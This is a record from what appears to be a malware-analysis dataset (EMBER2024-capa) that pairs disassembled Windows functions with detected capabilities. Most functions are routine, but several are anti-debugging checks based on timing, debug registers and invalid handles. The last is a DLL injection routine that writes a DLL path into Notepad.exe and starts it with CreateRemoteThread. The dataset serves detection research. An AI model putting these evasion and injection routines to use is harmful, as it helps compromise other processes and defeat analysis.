joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000d2b0
Capabilities:
Check for time delay via queryperformancecounter
Terminate process

Disassembly:
sub rsp, 0x68
mov rax, qword [0x140155010]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x48]
sub rax, qword [rsp + 0x50]
cmp rax, 0x1e
jle 0x14000d3a0
lea rdx, [rsp + 0x20]
call fcn.14000d3c0
mov ecx, 0x3001
movzx r8d, byte [rax]
lea rdx, [rax + 1]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
xor byte [rax + 0x20], r8b
xor byte [rax + 0x21], r8b
xor byte [rax + 0x22], r8b
mov byte [rax + 0x23], 0
call fcn.14000c650
mov ecx, 0x3001
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14005a640
add rsp, 0x68
ret

Function at 0x14000d410
Capabilities:
Check for time delay via gettickcount
Terminate process

Disassembly:
push rbx
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x1e
jbe 0x14000d4b6
lea rdx, [rsp + 0x20]
call fcn.14000d4c0
mov ecx, 0x3002
movzx r8d, byte [rax]
lea rdx, [rax + 1]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
mov byte [rax + 0x18], 0
call fcn.14000c650
mov ecx, 0x3002
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
add rsp, 0x40
pop rbx
ret
Function at 0x14000d500
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x538
mov rax, qword [0x140155010]
xor rax, rsp
mov qword [rsp + 0x520], rax
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x80], 0x100010
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14000d66b
cmp qword [rsp + 0x98], 0
jne 0x14000d598
cmp qword [rsp + 0xa0], 0
jne 0x14000d598
cmp qword [rsp + 0xa8], 0
jne 0x14000d598
cmp qword [rsp + 0xb0], 0
jne 0x14000d598
cmp qword [rsp + 0xb8], 0
jne 0x14000d598
cmp qword [rsp + 0xc0], 0
je 0x14000d66b
lea rdx, [rsp + 0x20]
call fcn.14000d690
mov ecx, 0x2000
movzx r8d, byte [rax]
lea rdx, [rax + 1]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
xor byte [rax + 0x20], r8b
xor byte [rax + 0x21], r8b
xor byte [rax + 0x22], r8b
xor byte [rax + 0x23], r8b
xor byte [rax + 0x24], r8b
xor byte [rax + 0x25], r8b
xor byte [rax + 0x26], r8b
xor byte [rax + 0x27], r8b
xor byte [rax + 0x28], r8b
xor byte [rax + 0x29], r8b
xor byte [rax + 0x2a], r8b
mov byte [rax + 0x2b], 0
call fcn.14000c650
mov ecx, 0x2000
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x520]
xor rcx, rsp
call fcn.14005a640
add rsp, 0x538
ret
Function at 0x14000d6e0
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x50
xor ebx, ebx
mov ecx, 0xbeef
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000d6fa
test ebx, ebx
je 0x14000d7b9
lea rdx, [rsp + 0x20]
call fcn.14000d7c0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
xor byte [rax + 0x20], r8b
xor byte [rax + 0x21], r8b
xor byte [rax + 0x22], r8b
xor byte [rax + 0x23], r8b
mov byte [rax + 0x24], 0
mov ecx, 0x4000
call fcn.14000c650
mov ecx, 0x4000
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
add rsp, 0x50
pop rbx
ret

Function at 0x14000d830
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str._s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x14000d843
add rsp, 0x28
ret

Function at 0x14000f030
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x14000f08d
lea rbx, [0x14005eb90]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x14000f074
cmp r10, 2
jb 0x14000f074
cmp byte [r9], r8b
jne 0x14000f074
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x14000f050
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14000f0cf
lea rbx, [0x14005eb90]
cmp r8b, 0x23
jne 0x14000f0b3
cmp byte [r9], r8b
jne 0x14000f0b3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x14000f0a0
mov rbx, qword [rsp + 8]
not eax
ret
Function at 0x14000f210
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x14000f22a
mov qword [r8], 0
lea rdx, [0x14005e5dc]
call fcn.14000f0e0
mov rbx, rax
test rax, rax
jne 0x14000f24a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x14000f321
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14000f321
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x14000f321
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14000f321
cmp rdi, 0xffffffffffffffff
je 0x14000f321
mov rax, qword [0x14016e390]
test rax, rax
je 0x14000f2be
inc dword [rax + 0x3b0]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x14000f321
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x14000f30e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x14016e390]
test rax, rax
je 0x14000f303
dec dword [rax + 0x3b0]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14000f32a
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x14000f31c
mov qword [r14], rdi
mov rax, rsi
jmp 0x14000f32c
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x14001d8c0
Capabilities:
Hash data with crc32

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x28
mov rax, qword [0x14016e390]
lea r10, [0x14005eb90]
mov r9, qword [rax + 0x1d18]
movsxd rdx, dword [r9 + 0x108]
mov rax, qword [r9 + 0x110]
mov r8d, dword [rax + rdx*4 - 4]
not r8d
movzx eax, cl
movzx edx, r8b
shr r8d, 8
xor rdx, rax
movzx eax, byte [rsp + 0x31]
xor r8d, dword [r10 + rdx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0x32]
xor r8d, dword [r10 + rcx*4]
movzx ecx, r8b
shr r8d, 8
xor rcx, rax
movzx eax, byte [rsp + 0x33]
xor r8d, dword [r10 + rcx*4]
lea rcx, [r9 + 0x108]
movzx edx, r8b
xor rdx, rax
shr r8d, 8
xor r8d, dword [r10 + rdx*4]
lea rdx, [rsp + 0x30]
not r8d
mov dword [rsp + 0x30], r8d
call fcn.14002f070
add rsp, 0x28
ret

Function at 0x14001e4e0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140155010]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x14016e390]
mov edi, edx
cmp byte [rbx + 0x20d5], 0
jne 0x14001e540
cmp byte [rbx + 0x20d6], 0
jne 0x14001e540
mov r9d, dword [rbx + 0x3178]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.14000efb0
test dil, 1
je 0x14001e666
jmp 0x14001e5cf
movss xmm1, dword [rbx + 0x16ec]
lea r8, str.Tooltip__02d
mov r9d, dword [rbx + 0x3178]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x140148610]
mulss xmm1, dword [0x140148604]
lea edx, [rax + 0x10]
addss xmm0, dword [rbx + 0x120]
addss xmm1, dword [rbx + 0x124]
mov qword [rbx + 0x1ddc], rax
mov dword [rbx + 0x1dc4], 1
movss dword [rbx + 0x1dd4], xmm0
mov byte [rbx + 0x1dfc], 1
movss dword [rbx + 0x1dd8], xmm1
movss xmm0, dword [rbx + 0x1748]
mulss xmm0, dword [0x140148574]
or dword [rbx + 0x1dc0], 0x41
movss dword [rbx + 0x1e20], xmm0
call fcn.14000efb0
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x14001e620
lea r11, [0x14005eb90]
nop
cmp r9b, 0x23
jne 0x14001e603
cmp byte [r8], r9b
jne 0x14001e603
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x14001e5f0
not ecx
call fcn.140017260
test rax, rax
je 0x14001e666
cmp byte [rax + 0xcf], 0
je 0x14001e666
mov byte [rax + 0xd6], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xf0], 1
lea rcx, [rsp + 0x20]
inc dword [rbx + 0x3178]
mov edx, 0x10
mov r9d, dword [rbx + 0x3178]
call fcn.14000efb0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x22c0347
call fcn.140019d40
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14005a640
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x140023370
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x3260], 0
lea rbx, [rcx + 0x3268]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x140023417
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x1400233ca
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.14002f8b0
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.14000f8e0
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x3260]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x3270]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x14016e388]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x14002341f
mov rcx, rbx
call fcn.14000f8e0
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x140023860
Capabilities:
Hash data with crc32

Disassembly:
push rbx
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10d, 0xffffffff
mov rbx, rcx
mov eax, r10d
test r9b, r9b
je 0x1400238b2
lea r11, [0x14005eb90]
cmp r9b, 0x23
jne 0x140023895
cmp byte [r8], r9b
jne 0x140023895
cmp byte [r8 + 1], r9b
cmove eax, r10d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140023882
mov r11, qword [0x14016e390]
mov r10, qword [r11 + 0x3228]
test r10, r10
je 0x1400238f9
lea r9, [r10 + 4]
test r9, r9
je 0x1400238f9
not eax
cmp dword [r9], eax
je 0x140023902
movsxd r8, dword [r9 - 4]
movsxd rdx, dword [r11 + 0x3220]
add r8, r9
add rdx, 4
xor r9d, r9d
add rdx, r10
cmp r8, rdx
cmovne r9, r8
test r9, r9
jne 0x1400238d0
mov rcx, rbx
pop rbx
jmp fcn.140023770
mov rax, r9
pop rbx
ret
Function at 0x140026d50
Capabilities:
Hash data with crc32

Disassembly:
test r8d, r8d
jle 0x140026f8e
mov r11, rsp
push rbp
push rsi
sub rsp, 0x58
mov rax, qword [0x140155010]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov qword [r11 - 0x18], rdi
mov rbp, rcx
mov qword [r11 - 0x20], r14
lea rdi, [rdx + 0x1a]
mov qword [r11 - 0x28], r15
mov r14d, 0xffffffff
lea r15, [0x14005eb90]
mov qword [r11 + 0x18], rbx
movsxd rsi, r8d
nop dword [rax + rax]
mov edx, dword [rdi - 0x1a]
test edx, edx
je 0x140026f56
mov rcx, rbp
call fcn.1400263e0
mov r9d, dword [rdi - 0x16]
mov rbx, rax
test r9d, r9d
je 0x140026e21
movsxd rdx, dword [rbp + 0x31c0]
mov r8, qword [rbp + 0x31c8]
mov r10, rdx
shl r10, 4
add r10, r8
test rdx, rdx
je 0x140026e11
nop dword [rax]
mov rcx, rdx
shr rcx, 1
mov rax, rcx
add rax, rax
cmp dword [r8 + rax*8], r9d
jae 0x140026e09
lea r8, [r8 + rax*8]
mov rax, 0xffffffffffffffff
sub rax, rcx
add r8, 0x10
add rdx, rax
jmp 0x140026e0c
mov rdx, rcx
test rdx, rdx
jne 0x140026de0
cmp r8, r10
je 0x140026e21
cmp dword [r8], r9d
jne 0x140026e21
mov rcx, qword [r8 + 8]
jmp 0x140026e23
xor ecx, ecx
mov qword [rbx + 0x10], rcx
movsx eax, word [rdi - 2]
movd xmm1, eax
movsx eax, word [rdi]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
movss dword [rbx + 0x40], xmm1
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x44], xmm0
movsx eax, word [rdi + 2]
movd xmm1, eax
movsx eax, word [rdi + 4]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
movss dword [rbx + 0x48], xmm1
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x4c], xmm0
movsx eax, word [rdi + 6]
movd xmm1, eax
movsx eax, word [rdi + 8]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
mov eax, dword [rbx + 0xb8]
and eax, 0xfffffe49
movss dword [rbx + 0x50], xmm1
or eax, 0x49
mov dword [rbx + 0xb8], eax
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x54], xmm0
test rcx, rcx
je 0x140026eb7
cmp qword [rcx + 0x18], 0
jne 0x140026eac
mov qword [rcx + 0x18], rbx
jmp 0x140026eb7
cmp qword [rcx + 0x20], 0
jne 0x140026eb7
mov qword [rcx + 0x20], rbx
mov eax, dword [rdi - 0xe]
mov rcx, rbx
mov dword [rbx + 0xb0], eax
movsx eax, byte [rdi - 0xa]
mov dword [rbx + 0x58], eax
mov eax, dword [rdi - 6]
and eax, 0x61fc20
or dword [rbx + 8], eax
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x140026eec
nop
mov rcx, rax
mov rax, qword [rax + 0x10]
test rax, rax
jne 0x140026ee0
mov r9d, dword [rcx]
lea r8, str.DockNode__02X
lea rcx, [rsp + 0x20]
mov edx, 0x14
call fcn.14000efb0
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov ecx, r14d
test r9b, r9b
je 0x140026f48
cmp r9b, 0x23
jne 0x140026f2b
cmp byte [r8], r9b
jne 0x140026f2b
cmp byte [r8 + 1], r9b
cmove ecx, r14d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r15 + rdx*4]
test r9b, r9b
jne 0x140026f18
not ecx
call fcn.140017260
mov qword [rbx + 0x80], rax
add rdi, 0x24
sub rsi, 1
jne 0x140026da0
mov r15, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14005a640
add rsp, 0x58
pop rsi
pop rbp
ret
Function at 0x140059c70
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140059cf4
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14005db00]
cmp byte [rcx + rax], 0
je 0x140059cf4
dec r8
sub rdx, 1
jne 0x140059cda
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14005a0e8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rdx, rcx
mov ecx, 0x105
call fcn.140059d84
mov ebx, eax
test eax, eax
jne 0x14005a118
and dword [rsp + 0x38], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x3c], eax
jmp 0x14005a17b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14005a172
test al, 0x10
je 0x14005a172
bt eax, 0xa
jae 0x14005a16b
mov r9d, 0x2000000
lea rcx, [rsp + 0x38]
mov r8d, 0x80
mov rdx, rdi
call fcn.14005a18c
mov rcx, qword [rsp + 0x38]
mov edi, eax
cmp rcx, 0xffffffffffffffff
je 0x14005a167
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x14005a167
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
test edi, edi
jne 0x14005a172
and dword [rsp + 0x3c], 0
jmp 0x14005a177
or dword [rsp + 0x3c], 0xffffffff
mov dword [rsp + 0x38], ebx
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14005b5b8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14005b602
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14005b602
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14005b602
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14005b602
cmp dword [rcx + 0x84], 0xe
jbe 0x14005b602
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14005b604
xor al, al
add rsp, 0x28
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004054b0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x004054c0]
mov dword [rax], 1
mov rax, qword [0x004054d0]
mov dword [rax], 1
mov rax, qword [0x004054a0]
mov dword [rax], 1
mov rax, qword [0x00405390]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x00405490]
mov dword [0x00408008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00405450]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00405320]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058
Function at 0x401550
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
sub rsp, 0x1e8
lea rbp, [rsp + 0x80]
call sym.__main
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0x150], rax
mov dword [rbp - 0x20], 0x130
lea rax, [rbp + 0x11f]
mov rcx, rax
call fcn.00401868
lea rcx, [rbp + 0x11f]
lea rax, [rbp - 0x20]
lea rdx, [rax + 0x2c]
lea rax, [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x11f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x40]
lea rdx, str.Notepad.exe
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::compare_char_const__const
test eax, eax
sete al
test al, al
je 0x4015eb
mov eax, dword [rbp - 0x18]
mov dword [rbp + 0x15c], eax
mov ebx, 0
jmp 0x4015f0
mov ebx, 1
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x401622
lea rax, [rbp - 0x20]
mov rcx, qword [rbp + 0x150]
mov rdx, rax
call sym.Process32Next
test eax, eax
setne al
test al, al
je 0x401622
jmp 0x401583
mov eax, dword [rbp + 0x15c]
mov r8d, eax
mov edx, 1
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x148], rax
lea rax, str.C:me.dll
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x148]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 8
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x140]
mov rcx, rax
call sym.strlen
mov r8, rax
mov rcx, qword [rbp + 0x140]
mov rdx, qword [rbp + 0x138]
mov rax, qword [rbp + 0x148]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
lea rcx, str.kernel32
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
lea rdx, str.LoadLibraryA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x128], rax
cmp qword [rbp + 0x128], 0
setne al
movzx eax, al
mov edx, eax
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::ostream::operator___bool_
mov rdx, qword [0x00405340]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rcx, qword [rbp + 0x128]
mov rax, qword [rbp + 0x148]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rdx, qword [rbp + 0x138]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x120], rax
mov eax, 0
jmp 0x40179b
add rsp, 0x1e8
pop rbx
pop rbp
ret